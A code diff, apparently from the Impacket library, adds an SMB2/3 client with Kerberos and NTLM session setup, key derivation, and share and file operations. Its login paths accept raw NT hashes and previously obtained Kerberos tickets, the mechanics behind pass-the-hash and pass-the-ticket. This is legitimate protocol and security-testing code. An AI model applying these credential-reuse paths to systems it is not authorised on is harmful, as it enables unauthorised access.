+        self.__nthash   = nthash
+        self.__kdc      = kdcHost
+        self.__aesKey   = aesKey
+        self.__TGT      = TGT
+        self.__TGS      = TGS
+        self._doKerberos= True
+
+        sessionSetup = SMB2SessionSetup()
+        if self.RequireMessageSigning is True:
+           sessionSetup['SecurityMode'] = SMB2_NEGOTIATE_SIGNING_REQUIRED
+        else:
+           sessionSetup['SecurityMode'] = SMB2_NEGOTIATE_SIGNING_ENABLED
+
+        sessionSetup['Flags'] = 0
+        #sessionSetup['Capabilities'] = SMB2_GLOBAL_CAP_LARGE_MTU | SMB2_GLOBAL_CAP_LEASING | SMB2_GLOBAL_CAP_DFS
+
+        # Importing down here so pyasn1 is not required if kerberos is not used.
+        from impacket.krb5.asn1 import AP_REQ, Authenticator, TGS_REP, seq_set
+        from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS
+        from impacket.krb5 import constants
+        from impacket.krb5.types import Principal, KerberosTime, Ticket
+        from pyasn1.codec.der import decoder, encoder
+        import datetime
+
+        # First of all, we need to get a TGT for the user
+        userName = Principal(user, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
+        if TGT is None:
+            if TGS is None:
+                tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, password, domain, lmhash, nthash, aesKey, kdcHost)
+        else:
+            tgt = TGT['KDC_REP']
+            cipher = TGT['cipher']
+            sessionKey = TGT['sessionKey']
+
+        # Save the ticket
+        # If you want, for debugging purposes
+#        from impacket.krb5.ccache import CCache
+#        ccache = CCache()
+#        try:
+#            if TGS is None:
+#                ccache.fromTGT(tgt, oldSessionKey, sessionKey)
+#            else:
+#                ccache.fromTGS(TGS['KDC_REP'], TGS['oldSessionKey'], TGS['sessionKey'] )
+#            ccache.saveFile('/tmp/ticket.bin')
+#        except Exception, e:
+#            print e
+#            pass
+
+        # Now that we have the TGT, we should ask for a TGS for cifs
+
+        if TGS is None:
+            serverName = Principal('cifs/%s' % (self._Connection['ServerName']), type=constants.PrincipalNameType.NT_SRV_INST.value)
+            tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, domain, kdcHost, tgt, cipher, sessionKey)
+        else:
+            tgs = TGS['KDC_REP']
+            cipher = TGS['cipher']
+            sessionKey = TGS['sessionKey']
+
+        # Let's build a NegTokenInit with a Kerberos REQ_AP
+
+        blob = SPNEGO_NegTokenInit()
+
+        # Kerberos
+        blob['MechTypes'] = [TypesMech['MS KRB5 - Microsoft Kerberos 5']]
+
+        # Let's extract the ticket from the TGS
+        tgs = decoder.decode(tgs, asn1Spec = TGS_REP())[0]
+        ticket = Ticket()
+        ticket.from_asn1(tgs['ticket'])
+
+        # Now let's build the AP_REQ
+        apReq = AP_REQ()
+        apReq['pvno'] = 5
+        apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)
+
+        #Handle mutual authentication
+        opts = list()
+
+        if mutualAuth == True:
+            from impacket.krb5.constants import APOptions
+            opts.append(constants.APOptions.mutual_required.value)
+
+        apReq['ap-options'] = constants.encodeFlags(opts)
+        seq_set(apReq,'ticket', ticket.to_asn1)
+
+        authenticator = Authenticator()
+        authenticator['authenticator-vno'] = 5
+        authenticator['crealm'] = domain
+        seq_set(authenticator, 'cname', userName.components_to_asn1)
+        now = datetime.datetime.utcnow()
+
+        authenticator['cusec'] = now.microsecond
+        authenticator['ctime'] = KerberosTime.to_asn1(now)
+
+        encodedAuthenticator = encoder.encode(authenticator)
+
+        # Key Usage 11
+        # AP-REQ Authenticator (includes application authenticator
+        # subkey), encrypted with the application session key
+        # (Section 5.5.1)
+        encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 11, encodedAuthenticator, None)
+
+        apReq['authenticator'] = noValue
+        apReq['authenticator']['etype'] = cipher.enctype
+        apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator
+
+        blob['MechToken'] = struct.pack('B', ASN1_AID) + asn1encode( struct.pack('B', ASN1_OID) + asn1encode(
+            TypesMech['KRB5 - Kerberos 5'] ) + KRB5_AP_REQ + encoder.encode(apReq))
+
+        sessionSetup['SecurityBufferLength'] = len(blob)
+        sessionSetup['Buffer']               = blob.getData()
+
+        packet = self.SMB_PACKET()
+        packet['Command'] = SMB2_SESSION_SETUP
+        packet['Data']    = sessionSetup
+
+        #Initiate session preauth hash
+        self._Session['PreauthIntegrityHashValue'] = self._Connection['PreauthIntegrityHashValue']
+
+        packetID = self.sendSMB(packet)
+        ans = self.recvSMB(packetID)
+        if ans.isValidAnswer(STATUS_SUCCESS):
+            self._Session['SessionID']       = ans['SessionID']
+            self._Session['SigningRequired'] = self._Connection['RequireSigning']
+            self._Session['UserCredentials'] = (user, password, domain, lmhash, nthash)
+            self._Session['Connection']      = self._NetBIOSSession.get_socket()
+
+
+            if mutualAuth == True:
+                #Lets get the session key in the AP_REP
+                from impacket.krb5.asn1 import AP_REP, EncAPRepPart
+                from impacket.krb5.crypto import Key, _enctype_table
+                smbSessSetupResp = SMB2SessionSetup_Response(ans['Data'])
+
+                #in [KILE] 3.1.1.2:
+                #    The subkey in the EncAPRepPart of the KRB_AP_REP message is used as the session key when
+                #    MutualAuthentication is requested. (The KRB_AP_REP message and its fields are defined in [RFC4120]
+                #    section 5.5.2.) When DES and RC4 are used, the implementation is as described in [RFC1964]. With
+                #    DES and RC4, the subkey in the KRB_AP_REQ message can be used as the session key, as it is the
+                #    same as the subkey in KRB_AP_REP message; however when AES is used (see [RFC4121]), the
+                #    subkeys are different and the subkey in the KRB_AP_REP is used. (The KRB_AP_REQ message is
+                #    defined in [RFC4120] section 5.5.1).
+                negTokenResp = SPNEGO_NegTokenResp(smbSessSetupResp['Buffer'])
+
+                #TODO: Parse ResponseToken as krb5Blob depending on the supported mech indicated in the negTokenResp
+                ap_rep = decoder.decode(negTokenResp['ResponseToken'][16:], asn1Spec=AP_REP())[0]
+
+                if cipher.enctype != ap_rep['enc-part']['etype']:
+                    raise Exception('Unable to decrypt AP_REP: cipher does not match TGS session key')
+
+                # Key Usage 12
+                # AP-REP encrypted part (includes application session
+                # subkey), encrypted with the application session key
+                # (Section 5.5.2)
+                cipherText = ap_rep['enc-part']['cipher']
+                plainText = cipher.decrypt(sessionKey, 12, cipherText)
+
+                encAPRepPart = decoder.decode(plainText, asn1Spec = EncAPRepPart())[0]
+
+                apCipher = _enctype_table[int(encAPRepPart['subkey']['keytype'])]()
+                apSessionKey = Key(apCipher.enctype, encAPRepPart['subkey']['keyvalue'].asOctets())
+
+                sequenceNumber = int(encAPRepPart['seq-number'])
+                self._Session['SessionKey'] = apSessionKey.contents
+
+            else:
+                self._Session['SessionKey']  = sessionKey.contents[:16]
+
+            if self._Session['SigningRequired'] is True and self._Connection['Dialect'] >= SMB2_DIALECT_30:
+                # If Connection.Dialect is "3.1.1", the case-sensitive ASCII string "SMBSigningKey" as the label;
+                # otherwise, the case - sensitive ASCII string "SMB2AESCMAC" as the label.
+                # If Connection.Dialect is "3.1.1", Session.PreauthIntegrityHashValue as the context; otherwise,
+                # the case-sensitive ASCII string "SmbSign" as context for the algorithm.
+                if self._Connection['Dialect'] == SMB2_DIALECT_311:
+                    self._Session['SigningKey'] = crypto.KDF_CounterMode (self._Session['SessionKey'], b"SMBSigningKey\x00",
+                                                                          self._Session['PreauthIntegrityHashValue'], 128)
+                else:
+                    self._Session['SigningKey'] = crypto.KDF_CounterMode (self._Session['SessionKey'], b"SMB2AESCMAC\x00",
+                                                                          b"SmbSign\x00", 128)
+
+            # Do not encrypt anonymous connections
+            if user == '' or self.isGuestSession():
+                self._Connection['SupportsEncryption'] = False
+
+            if self._Session['SigningRequired'] is True:
+                self._Session['SigningActivated'] = True
+            if self._Connection['Dialect'] >= SMB2_DIALECT_30 and self._Connection['SupportsEncryption'] is True:
+                # Encryption available. Let's enforce it if we have AES CCM available
+                self._Session['SessionFlags'] |= SMB2_SESSION_FLAG_ENCRYPT_DATA
+                # Application Key
+                # If Connection.Dialect is "3.1.1",the case-sensitive ASCII string "SMBAppKey" as the label;
+                # otherwise, the case-sensitive ASCII string "SMB2APP" as the label. Session.PreauthIntegrityHashValue
+                # as the context; otherwise, the case-sensitive ASCII string "SmbRpc" as context for the algorithm.
+                # Encryption Key
+                # If Connection.Dialect is "3.1.1",the case-sensitive ASCII string "SMBC2SCipherKey" as # the label;
+                # otherwise, the case-sensitive ASCII string "SMB2AESCCM" as the label. Session.PreauthIntegrityHashValue
+                # as the context; otherwise, the case-sensitive ASCII string "ServerIn " as context for the algorithm
+                # (note the blank space at the end)
+                # Decryption Key
+                # If Connection.Dialect is "3.1.1", the case-sensitive ASCII string "SMBS2CCipherKey" as the label;
+                # otherwise, the case-sensitive ASCII string "SMB2AESCCM" as the label. Session.PreauthIntegrityHashValue
+                # as the context; otherwise, the case-sensitive ASCII string "ServerOut" as context for the algorithm.
+                if self._Connection['Dialect'] == SMB2_DIALECT_311:
+                    self._Session['ApplicationKey'] = crypto.KDF_CounterMode (self._Session['SessionKey'], b"SMBAppKey\x00",
+                                                                              self._Session['PreauthIntegrityHashValue'], 128)
+                    self._Session['EncryptionKey'] = crypto.KDF_CounterMode (self._Session['SessionKey'], b"SMBC2SCipherKey\x00",
+                                                                             self._Session['PreauthIntegrityHashValue'], 128)
+                    self._Session['DecryptionKey'] = crypto.KDF_CounterMode (self._Session['SessionKey'], b"SMBS2CCipherKey\x00",
+                                                                             self._Session['PreauthIntegrityHashValue'], 128)
+                else:
+                    self._Session['ApplicationKey'] = crypto.KDF_CounterMode (self._Session['SessionKey'], b"SMB2APP\x00",
+                                                                              b"SmbRpc\x00", 128)
+                    self._Session['EncryptionKey'] = crypto.KDF_CounterMode (self._Session['SessionKey'], b"SMB2AESCCM\x00",
+                                                                             b"ServerIn \x00", 128)
+                    self._Session['DecryptionKey'] = crypto.KDF_CounterMode (self._Session['SessionKey'], b"SMB2AESCCM\x00",
+                                                                             b"ServerOut\x00", 128)
+
+            self._Session['CalculatePreAuthHash'] = False
+            return True
+        else:
+            # We clean the stuff we used in case we want to authenticate again
+            # within the same connection
+            self._Session['UserCredentials']   = ''
+            self._Session['Connection']        = 0
+            self._Session['SessionID']         = 0
+            self._Session['SigningRequired']   = False
+            self._Session['SigningKey']        = ''
+            self._Session['SessionKey']        = ''
+            self._Session['SigningActivated']  = False
+            self._Session['CalculatePreAuthHash'] = False
+            self._Session['PreauthIntegrityHashValue'] = a2b_hex(b'0'*128)
+            raise Exception('Unsuccessful Login')
+
+
+    def login(self, user, password, domain = '', lmhash = '', nthash = ''):
+        # If we have hashes, normalize them
+        if lmhash != '' or nthash != '':
+            if len(lmhash) % 2:     lmhash = '0%s' % lmhash
+            if len(nthash) % 2:     nthash = '0%s' % nthash
+            try: # just in case they were converted already
+                lmhash = a2b_hex(lmhash)
+                nthash = a2b_hex(nthash)
+            except:
+                pass
+
+        self.__userName = user
+        self.__password = password
+        self.__domain   = domain
+        self.__lmhash   = lmhash
+        self.__nthash   = nthash
+        self.__aesKey   = ''
+        self.__TGT      = None
+        self.__TGS      = None
+
+        sessionSetup = SMB2SessionSetup()
+        if self.RequireMessageSigning is True:
+           sessionSetup['SecurityMode'] = SMB2_NEGOTIATE_SIGNING_REQUIRED
+        else:
+           sessionSetup['SecurityMode'] = SMB2_NEGOTIATE_SIGNING_ENABLED
+
+        sessionSetup['Flags'] = 0
+        #sessionSetup['Capabilities'] = SMB2_GLOBAL_CAP_LARGE_MTU | SMB2_GLOBAL_CAP_LEASING | SMB2_GLOBAL_CAP_DFS
+
+        # Let's build a NegTokenInit with the NTLMSSP
+        # TODO: In the future we should be able to choose different providers
+
+        blob = SPNEGO_NegTokenInit()
+
+        # NTLMSSP
+        blob['MechTypes'] = [TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']]
+        auth = ntlm.getNTLMSSPType1(self._Connection['ClientName'],domain, self._Connection['RequireSigning'])
+        blob['MechToken'] = auth.getData()
+
+        sessionSetup['SecurityBufferLength'] = len(blob)
+        sessionSetup['Buffer']               = blob.getData()
+
+        # ToDo:
+        # If this authentication is for establishing an alternative channel for an existing Session, as specified
+        # in section 3.2.4.1.7, the client MUST also set the following values:
+        # The SessionId field in the SMB2 header MUST be set to the Session.SessionId for the new
+        # channel being established.
+        # The SMB2_SESSION_FLAG_BINDING bit MUST be set in the Flags field.
+        # The PreviousSessionId field MUST be set to zero.
+
+        packet = self.SMB_PACKET()
+        packet['Command'] = SMB2_SESSION_SETUP
+        packet['Data']    = sessionSetup
+
+        packetID = self.sendSMB(packet)
+        ans = self.recvSMB(packetID)
+        if self._Connection['Dialect'] == SMB2_DIALECT_311:
+            self.__UpdatePreAuthHash (ans.rawData)
+
+        if ans.isValidAnswer(STATUS_MORE_PROCESSING_REQUIRED):
+            self._Session['SessionID']       = ans['SessionID']
+            self._Session['SigningRequired'] = self._Connection['RequireSigning']
+            self._Session['UserCredentials'] = (user, password, domain, lmhash, nthash)
+            self._Session['Connection']      = self._NetBIOSSession.get_socket()
+            sessionSetupResponse = SMB2SessionSetup_Response(ans['Data'])
+            respToken = SPNEGO_NegTokenResp(sessionSetupResponse['Buffer'])
+
+            # Let's parse some data and keep it to ourselves in case it is asked
+            ntlmChallenge = ntlm.NTLMAuthChallenge(respToken['ResponseToken'])
+            if ntlmChallenge['TargetInfoFields_len'] > 0:
+                av_pairs = ntlm.AV_PAIRS(ntlmChallenge['TargetInfoFields'][:ntlmChallenge['TargetInfoFields_len']])
+                if av_pairs[ntlm.NTLMSSP_AV_HOSTNAME] is not None:
+                   try:
+                       self._Session['ServerName'] = av_pairs[ntlm.NTLMSSP_AV_HOSTNAME][1].decode('utf-16le')
+                   except:
+                       # For some reason, we couldn't decode Unicode here.. silently discard the operation
+                       pass
+                if av_pairs[ntlm.NTLMSSP_AV_DOMAINNAME] is not None:
+                   try:
+                       if self._Session['ServerName'] != av_pairs[ntlm.NTLMSSP_AV_DOMAINNAME][1].decode('utf-16le'):
+                           self._Session['ServerDomain'] = av_pairs[ntlm.NTLMSSP_AV_DOMAINNAME][1].decode('utf-16le')
+                   except:
+                       # For some reason, we couldn't decode Unicode here.. silently discard the operation
+                       pass
+                if av_pairs[ntlm.NTLMSSP_AV_DNS_DOMAINNAME] is not None:
+                   try:
+                       self._Session['ServerDNSDomainName'] = av_pairs[ntlm.NTLMSSP_AV_DNS_DOMAINNAME][1].decode('utf-16le')
+                   except:
+                       # For some reason, we couldn't decode Unicode here.. silently discard the operation
+                       pass
+
+                if av_pairs[ntlm.NTLMSSP_AV_DNS_HOSTNAME] is not None:
+                   try:
+                       self._Session['ServerDNSHostName'] = av_pairs[ntlm.NTLMSSP_AV_DNS_HOSTNAME][1].decode('utf-16le')
+                   except:
+                       # For some reason, we couldn't decode Unicode here.. silently discard the operation
+                       pass
+
+                if self._strict_hostname_validation:
+                    self.perform_hostname_validation()
+
+                # Parse Version to know the target Operating system name. Not provided elsewhere anymore
+                if 'Version' in ntlmChallenge.fields:
+                    version = ntlmChallenge['Version']
+
+                    if len(version) >= 4:
+                        self._Session['ServerOS'] = "Windows %d.%d Build %d" % (indexbytes(version,0), indexbytes(version,1), struct.unpack('<H',version[2:4])[0])
+                        self._Session["ServerOSMajor"] = indexbytes(version,0)
+                        self._Session["ServerOSMinor"] = indexbytes(version,1)
+                        self._Session["ServerOSBuild"] = struct.unpack('<H',version[2:4])[0]
+
+            type3, exportedSessionKey = ntlm.getNTLMSSPType3(auth, respToken['ResponseToken'], user, password, domain, lmhash, nthash)
+
+
+
+            respToken2 = SPNEGO_NegTokenResp()
+            respToken2['ResponseToken'] = type3.getData()
+
+            # Reusing the previous structure
+            sessionSetup['SecurityBufferLength'] = len(respToken2)
+            sessionSetup['Buffer']               = respToken2.getData()
+
+            packetID = self.sendSMB(packet)
+            packet = self.recvSMB(packetID)
+
+            # Let's calculate Key Materials before moving on
+            if exportedSessionKey is not None:
+                self._Session['SessionKey']  = exportedSessionKey
+                if self._Session['SigningRequired'] is True and self._Connection['Dialect'] >= SMB2_DIALECT_30:
+                    # If Connection.Dialect is "3.1.1", the case-sensitive ASCII string "SMBSigningKey" as the label;
+                    # otherwise, the case - sensitive ASCII string "SMB2AESCMAC" as the label.
+                    # If Connection.Dialect is "3.1.1", Session.PreauthIntegrityHashValue as the context; otherwise,
+                    # the case-sensitive ASCII string "SmbSign" as context for the algorithm.
+                    if self._Connection['Dialect'] == SMB2_DIALECT_311:
+                        self._Session['SigningKey'] = crypto.KDF_CounterMode (exportedSessionKey,
+                                                                              b"SMBSigningKey\x00",
+                                                                              self._Session['PreauthIntegrityHashValue'],
+                                                                              128)
+                    else:
+                        self._Session['SigningKey'] = crypto.KDF_CounterMode (exportedSessionKey, b"SMB2AESCMAC\x00",
+                                                                              b"SmbSign\x00", 128)
+            try:
+                if packet.isValidAnswer(STATUS_SUCCESS):
+                    sessionSetupResponse = SMB2SessionSetup_Response(packet['Data'])
+                    self._Session['SessionFlags'] = sessionSetupResponse['SessionFlags']
+                    self._Session['SessionID']    = packet['SessionID']
+
+                    # Do not encrypt anonymous connections
+                    if user == '' or self.isGuestSession():
+                        self._Connection['SupportsEncryption'] = False
+
+                    # Calculate the key derivations for dialect 3.0
+                    if self._Session['SigningRequired'] is True:
+                        self._Session['SigningActivated'] = True
+                    if self._Connection['Dialect'] >= SMB2_DIALECT_30 and self._Connection['SupportsEncryption'] is True:
+                        # SMB 3.0. Encryption available. Let's enforce it if we have AES CCM available
+                        self._Session['SessionFlags'] |= SMB2_SESSION_FLAG_ENCRYPT_DATA
+                        # Application Key
+                        # If Connection.Dialect is "3.1.1",the case-sensitive ASCII string "SMBAppKey" as the label;
+                        # otherwise, the case-sensitive ASCII string "SMB2APP" as the label. Session.PreauthIntegrityHashValue
+                        # as the context; otherwise, the case-sensitive ASCII string "SmbRpc" as context for the algorithm.
+                        # Encryption Key
+                        # If Connection.Dialect is "3.1.1",the case-sensitive ASCII string "SMBC2SCipherKey" as # the label;
+                        # otherwise, the case-sensitive ASCII string "SMB2AESCCM" as the label. Session.PreauthIntegrityHashValue
+                        # as the context; otherwise, the case-sensitive ASCII string "ServerIn " as context for the algorithm
+                        # (note the blank space at the end)
+                        # Decryption Key
+                        # If Connection.Dialect is "3.1.1", the case-sensitive ASCII string "SMBS2CCipherKey" as the label;
+                        # otherwise, the case-sensitive ASCII string "SMB2AESCCM" as the label. Session.PreauthIntegrityHashValue
+                        # as the context; otherwise, the case-sensitive ASCII string "ServerOut" as context for the algorithm.
+                        if self._Connection['Dialect'] == SMB2_DIALECT_311:
+                            self._Session['ApplicationKey']  = crypto.KDF_CounterMode(exportedSessionKey, b"SMBAppKey\x00",
+                                                                             self._Session['PreauthIntegrityHashValue'], 128)
+                            self._Session['EncryptionKey']   = crypto.KDF_CounterMode(exportedSessionKey, b"SMBC2SCipherKey\x00",
+                                                                             self._Session['PreauthIntegrityHashValue'], 128)
+                            self._Session['DecryptionKey'] = crypto.KDF_CounterMode (exportedSessionKey, b"SMBS2CCipherKey\x00",
+                                                                             self._Session['PreauthIntegrityHashValue'], 128)
+
+                        else:
+                            self._Session['ApplicationKey'] = crypto.KDF_CounterMode (exportedSessionKey, b"SMB2APP\x00",
+                                                                                      b"SmbRpc\x00", 128)
+                            self._Session['EncryptionKey'] = crypto.KDF_CounterMode (exportedSessionKey, b"SMB2AESCCM\x00",
+                                                                                     b"ServerIn \x00", 128)
+                            self._Session['DecryptionKey'] = crypto.KDF_CounterMode (exportedSessionKey, b"SMB2AESCCM\x00",
+                                                                                     b"ServerOut\x00", 128)
+                    self._Session['CalculatePreAuthHash'] = False
+                    return True
+            except:
+                # We clean the stuff we used in case we want to authenticate again
+                # within the same connection
+                self._Session['UserCredentials']   = ''
+                self._Session['Connection']        = 0
+                self._Session['SessionID']         = 0
+                self._Session['SigningRequired']   = False
+                self._Session['SigningKey']        = ''
+                self._Session['SessionKey']        = ''
+                self._Session['SigningActivated']  = False
+                self._Session['CalculatePreAuthHash'] = False
+                self._Session['PreauthIntegrityHashValue'] = a2b_hex(b'0'*128)
+                raise
+
+    def connectTree(self, share):
+
+        # Just in case this came with the full path (maybe an SMB1 client), let's just leave
+        # the sharename, we'll take care of the rest
+
+        #print self._Session['TreeConnectTable']
+        share = share.split('\\')[-1]
+        if share in self._Session['TreeConnectTable']:
+            # Already connected, no need to reconnect
+            treeEntry =  self._Session['TreeConnectTable'][share]
+            treeEntry['NumberOfUses'] += 1
+            self._Session['TreeConnectTable'][treeEntry['TreeConnectId']]['NumberOfUses'] += 1
+            return treeEntry['TreeConnectId']
+
+        #path = share
+        try:
+            _, _, _, _, sockaddr = socket.getaddrinfo(self._Connection['ServerIP'], 80, 0, 0, socket.IPPROTO_TCP)[0]
+            remoteHost = sockaddr[0]
+        except:
+            remoteHost = self._Connection['ServerIP']
+        path = '\\\\' + remoteHost + '\\' +share
+
+        treeConnect = SMB2TreeConnect()
+        treeConnect['Buffer']     = path.encode('utf-16le')
+        treeConnect['PathLength'] = len(path)*2
+
+        packet = self.SMB_PACKET()
+        packet['Command'] = SMB2_TREE_CONNECT
+        packet['Data'] = treeConnect
+        packetID = self.sendSMB(packet)
+        packet = self.recvSMB(packetID)
+        if packet.isValidAnswer(STATUS_SUCCESS):
+           treeConnectResponse = SMB2TreeConnect_Response(packet['Data'])
+           treeEntry = copy.deepcopy(TREE_CONNECT)
+           treeEntry['ShareName']     = share
+           treeEntry['TreeConnectId'] = packet['TreeID']
+           treeEntry['Session']       = packet['SessionID']
+           treeEntry['NumberOfUses'] += 1
+           if (treeConnectResponse['Capabilities'] & SMB2_SHARE_CAP_DFS) == SMB2_SHARE_CAP_DFS:
+               treeEntry['IsDfsShare'] = True
+           if (treeConnectResponse['Capabilities'] & SMB2_SHARE_CAP_CONTINUOUS_AVAILABILITY) == SMB2_SHARE_CAP_CONTINUOUS_AVAILABILITY:
+               treeEntry['IsCAShare'] = True
+
+           if self._Connection['Dialect'] >= SMB2_DIALECT_30:
+               if (self._Connection['SupportsEncryption'] is True) and ((treeConnectResponse['ShareFlags'] & SMB2_SHAREFLAG_ENCRYPT_DATA) == SMB2_SHAREFLAG_ENCRYPT_DATA):
+                   treeEntry['EncryptData'] = True
+                   # ToDo: This and what follows
+                   # If Session.EncryptData is FALSE, the client MUST then generate an encryption key, a
+                   # decryption key as specified in section 3.1.4.2, by providing the following inputs and store
+                   # them in Session.EncryptionKey and Session.DecryptionKey:
+               if (treeConnectResponse['Capabilities'] & SMB2_SHARE_CAP_SCALEOUT) == SMB2_SHARE_CAP_SCALEOUT:
+                   treeEntry['IsScaleoutShare'] = True
+
+           self._Session['TreeConnectTable'][packet['TreeID']] = treeEntry
+           self._Session['TreeConnectTable'][share]            = treeEntry
+
+           return packet['TreeID']
+
+    def disconnectTree(self, treeId):
+        if (treeId in self._Session['TreeConnectTable']) is False:
+            raise SessionError(STATUS_INVALID_PARAMETER)
+
+        if treeId in self._Session['TreeConnectTable']:
+            # More than 1 use? descrease it and return, if not, send the packet
+            if self._Session['TreeConnectTable'][treeId]['NumberOfUses'] > 1:
+                treeEntry =  self._Session['TreeConnectTable'][treeId]
+                treeEntry['NumberOfUses'] -= 1
+                self._Session['TreeConnectTable'][treeEntry['ShareName']]['NumberOfUses'] -= 1
+                return True
+
+        packet = self.SMB_PACKET()
+        packet['Command'] = SMB2_TREE_DISCONNECT
+        packet['TreeID'] = treeId
+        treeDisconnect = SMB2TreeDisconnect()
+        packet['Data'] = treeDisconnect
+        packetID = self.sendSMB(packet)
+        packet = self.recvSMB(packetID)
+        if packet.isValidAnswer(STATUS_SUCCESS):
+            shareName = self._Session['TreeConnectTable'][treeId]['ShareName']
+            del(self._Session['TreeConnectTable'][shareName])
+            del(self._Session['TreeConnectTable'][treeId])
+            filesIDToBeRemoved = []
+            for fileID in list(self._Session['OpenTable'].keys()):
+                if self._Session['OpenTable'][fileID]['TreeConnect'] == treeId:
+                    filesIDToBeRemoved.append(fileID)
+            for fileIDToBeRemoved in filesIDToBeRemoved:
+                del(self._Session['OpenTable'][fileIDToBeRemoved])
+            return True
+
+    def create(self, treeId, fileName, desiredAccess, shareMode, creationOptions, creationDisposition, fileAttributes, impersonationLevel = SMB2_IL_IMPERSONATION, securityFlags = 0, oplockLevel = SMB2_OPLOCK_LEVEL_NONE, createContexts = None):
+        if (treeId in self._Session['TreeConnectTable']) is False:
+            raise SessionError(STATUS_INVALID_PARAMETER)
+
+        fileName = fileName.replace('/', '\\')
+        if len(fileName) > 0:
+            fileName = ntpath.normpath(fileName)
+            if fileName[0] == '\\':
+                fileName = fileName[1:]
+
+        if self._Session['TreeConnectTable'][treeId]['IsDfsShare'] is True:
+            pathName = fileName
+        else:
+            pathName = '\\\\' + self._Connection['ServerName'] + '\\' + fileName
+
+        fileEntry = copy.deepcopy(FILE)
+        fileEntry['LeaseKey']   = uuid.generate()
+        fileEntry['LeaseState'] = SMB2_LEASE_NONE
+        self.GlobalFileTable[pathName] = fileEntry
+
+        if self._Connection['Dialect'] >= SMB2_DIALECT_30 and self._Connection['SupportsDirectoryLeasing'] is True:
+           # Is this file NOT on the root directory?
+           if len(fileName.split('\\')) > 2:
+               parentDir = ntpath.dirname(pathName)
+           if parentDir in self.GlobalFileTable:
+               raise Exception("Don't know what to do now! :-o")
+           else:
+               parentEntry = copy.deepcopy(FILE)
+               parentEntry['LeaseKey']   = uuid.generate()
+               parentEntry['LeaseState'] = SMB2_LEASE_NONE
+               self.GlobalFileTable[parentDir] = parentEntry
+
+        packet = self.SMB_PACKET()
+        packet['Command'] = SMB2_CREATE
+        packet['TreeID']  = treeId
+        if self._Session['TreeConnectTable'][treeId]['IsDfsShare'] is True:
+            packet['Flags'] = SMB2_FLAGS_DFS_OPERATIONS
+
+        smb2Create = SMB2Create()
+        smb2Create['SecurityFlags']        = 0
+        smb2Create['RequestedOplockLevel'] = oplockLevel
+        smb2Create['ImpersonationLevel']   = impersonationLevel
+        smb2Create['DesiredAccess']        = desiredAccess
+        smb2Create['FileAttributes']       = fileAttributes
+        smb2Create['ShareAccess']          = shareMode
+        smb2Create['CreateDisposition']    = creationDisposition
+        smb2Create['CreateOptions']        = creationOptions
+
+        smb2Create['NameLength']           = len(fileName)*2
+        if fileName != '':
+            smb2Create['Buffer']           = fileName.encode('utf-16le')
+        else:
+            smb2Create['Buffer']           = b'\x00'
+
+        if createContexts is not None:
+            contextsBuf = b''.join(x.getData() for x in createContexts)
+            smb2Create['CreateContextsOffset'] = len(SMB2Packet()) + SMB2Create.SIZE + len(smb2Create['Buffer'])
+
+            # pad offset to 8-byte align
+            if (smb2Create['CreateContextsOffset'] % 8):
+                smb2Create['Buffer'] += b'\x00'*(8-(smb2Create['CreateContextsOffset'] % 8))
+                smb2Create['CreateContextsOffset'] = len(SMB2Packet()) + SMB2Create.SIZE + len(smb2Create['Buffer'])
+
+            smb2Create['CreateContextsLength'] = len(contextsBuf)
+            smb2Create['Buffer'] += contextsBuf
+        else:
+            smb2Create['CreateContextsOffset'] = 0
+            smb2Create['CreateContextsLength'] = 0
+
+        packet['Data'] = smb2Create
+
+        packetID = self.sendSMB(packet)
+        ans = self.recvSMB(packetID)
+        if ans.isValidAnswer(STATUS_SUCCESS):
+            createResponse = SMB2Create_Response(ans['Data'])
+
+            openFile = copy.deepcopy(OPEN)
+            openFile['FileID']      = createResponse['FileID']
+            openFile['TreeConnect'] = treeId
+            openFile['Oplocklevel'] = oplockLevel
+            openFile['Durable']     = False
+            openFile['ResilientHandle']    = False
+            openFile['LastDisconnectTime'] = 0
+            openFile['FileName'] = pathName
+
+            # ToDo: Complete the OperationBuckets
+            if self._Connection['Dialect'] >= SMB2_DIALECT_30:
+                openFile['DesiredAccess']     = oplockLevel
+                openFile['ShareMode']         = oplockLevel
+                openFile['CreateOptions']     = oplockLevel
+                openFile['FileAttributes']    = oplockLevel
+                openFile['CreateDisposition'] = oplockLevel
+
+            # ToDo: Process the contexts
+            self._Session['OpenTable'][createResponse['FileID'].getData()] = openFile
+
+            # The client MUST generate a handle for the Open, and it MUST
+            # return success and the generated handle to the calling application.
+            # In our case, str(FileID)
+            return createResponse['FileID'].getData()
+
+    def close(self, treeId, fileId):
+        if (treeId in self._Session['TreeConnectTable']) is False:
+            raise SessionError(STATUS_INVALID_PARAMETER)
+        if (fileId in self._Session['OpenTable']) is False:
+            raise SessionError(STATUS_INVALID_PARAMETER)
+
+        packet = self.SMB_PACKET()
+        packet['Command'] = SMB2_CLOSE
+        packet['TreeID']  = treeId
+
+        smbClose = SMB2Close()
+        smbClose['Flags']  = 0
+        smbClose['FileID'] = fileId
+
+        packet['Data'] = smbClose
+
+        packetID = self.sendSMB(packet)
+        ans = self.recvSMB(packetID)
+
+        if ans.isValidAnswer(STATUS_SUCCESS):
+            del(self.GlobalFileTable[self._Session['OpenTable'][fileId]['FileName']])
+            del(self._Session['OpenTable'][fileId])
+
+            # ToDo Remove stuff from GlobalFileTable
+            return True
+
+    def read(self, treeId, fileId, offset = 0, bytesToRead = 0, waitAnswer = True):
+        # IMPORTANT NOTE: As you can see, this was coded as a recursive function
+        # Hence, you can exhaust the memory pretty easy ( large bytesToRead )
+        # This function should NOT be used for reading files directly, but another higher
+        # level function should be used that will break the read into smaller pieces
+
+        if (treeId in self._Session['TreeConnectTable']) is False:
+            raise SessionError(STATUS_INVALID_PARAMETER)
+        if (fileId in self._Session['OpenTable']) is False:
+            raise SessionError(STATUS_INVALID_PARAMETER)
+
+        packet = self.SMB_PACKET()
+        packet['Command'] = SMB2_READ
+        packet['TreeID']  = treeId
+
+        if self._Connection['MaxReadSize'] < bytesToRead:
+            maxBytesToRead = self._Connection['MaxReadSize']
+        else:
+            maxBytesToRead = bytesToRead
+
